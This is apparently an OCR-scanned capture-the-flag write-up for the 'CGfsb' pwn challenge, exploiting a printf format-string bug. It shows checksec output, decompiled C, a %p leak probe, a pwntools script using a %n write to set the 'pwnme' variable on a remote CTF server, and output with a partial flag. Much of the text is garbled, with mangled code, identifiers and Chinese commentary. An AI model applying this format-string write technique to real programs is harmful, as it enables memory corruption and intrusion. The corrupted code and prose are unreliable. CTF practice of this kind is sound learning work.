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:~=/Learn/PWN/CGfsbh# 1s
CGfsh
:~/Learn/PWN/CGfsbh# checksec CGfsb
[#] '/froot/Learn/PWN/CGfsb/CGTsb'
Arch: i386-32-little
RELRO: Partial RELRO
Stack:
MNX
PIE:
:~/Learn/PWN/CGigbe/Mog.csdn.netiqq
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:~/Learn/PWN/CGfsb# ./CGTsh
please tell me your name:
BuryYiA
leave your message please:
I am here

hello BurYiA

your me ge is:
I am
Thank you!
:~/Learn/PWN/CGfsh# |
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_inlt_preoc 2 . - - )
sub_B048430 3| int buf; // [esp+l
_setbuf 4 i t v5; // [esp+22h

_read 5| __intlé v6; // [es
_printf 6| char s; // [esp+28h

_fgets 7 un51gned int v8; f/ [esp+8Ch] [ebp-10h]
__stack_chk_fail 8

_puts 9| v8 = _ readgsdword(@x14u);
_system 10| setbuf(stdin, @);
__gmon_start__ 11| setbuf(stdout, @);
___libc_start_main 12| setbuf(stderr, 0);

_start 13 h .
__xB6_get_pc_thunk_bx 14

deregister_tm_cleones

register_tm_clones memset(&s, 0, Ox64u);

M Mm@ M@ M@T“MD?"*  * = + * *+ = o= e 4w o= a4 @ =
NN°'<HNNNﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁ'g

Y Y Y Y S Y Y Y Y Y Y & Y S B Y Y Y Y S Y Y Y S Y Y Y |
| |

16
E—do—giObal—dtors—auX 17| puts(“"please tell me your name:");
TAILE_SUY 18| read(®, &buf, @xAu);
naln A " "
Libe csu inmit 19| puts("leave your message please:");
Tibe csu fimi 20| fgets(&s, 100, stdin);
Tierm }_JI‘OC_ 21| printf("hello %s", &buf);
sethuf 22| puts(“your message is:");
— 23| printf(&s);
printf 24| if ( pwnme == 8 )
fgets 25 {
__stack_chk_fail 26 puts("you pwned me, here is your flag:\n");
puts 27 system(“"cat flag");
system 28 }
libc start main ex " 29| else
> e {
17 18/30 31 puts("Thank you!™);
. EVI
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= — 23| return 9;
340}
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printf("%s", s);
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BOFEERNR wn IMERXUFERFER, BRI %nZ BTENH RN FZRNE, MES —ANZE, HIAXHE:

<cstdio>

int main(int argc, char *argv[])

I
L

int a = 0;
printf(“Hello world%n ", &a);
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AAAA-%p -%p -%p - %p - %P - %P - %P - %P - %P - %P - %p - %p - %p - %P - %p - %P - %p - %P

EATHEANprintf (%s) , FrUARMMAKAZTBRSE T EREREK. BRIEFE—-TER:
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from pwn import *

Hr = precess("./CGfsb")
remote('111.198.29.45"', 46635)

= OXx0804A068 #pwnme bk 78 O A AD o XU Bt BE 2 E MR

p32(pwnme_addr) + ‘'aaaa' + '%10%n' #pwnme F bk TR B LT 320 i, ZVUAL, TMpwnme® ESE T8, Fill ‘aaaa
P EERFHIIEM

.recvuntil("please tell me your name:\n")
.sendline( 'BurYiA")

.recvuntil("leave your message please:\n")
.sendline(payload)

.interactive()
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:~/Learn/PWN/CGfsh# python a.py
[+] Opening connection to 111.198.29.45 on port 46635: Done
[#] Switching to interactive mode
hello BurYiA
your message
h\xae\x

you pwned me, here is your flag:

cyberpeace{38ca9f903a9cldae8a3c2db86
[#] Got EOF while reading in interactive
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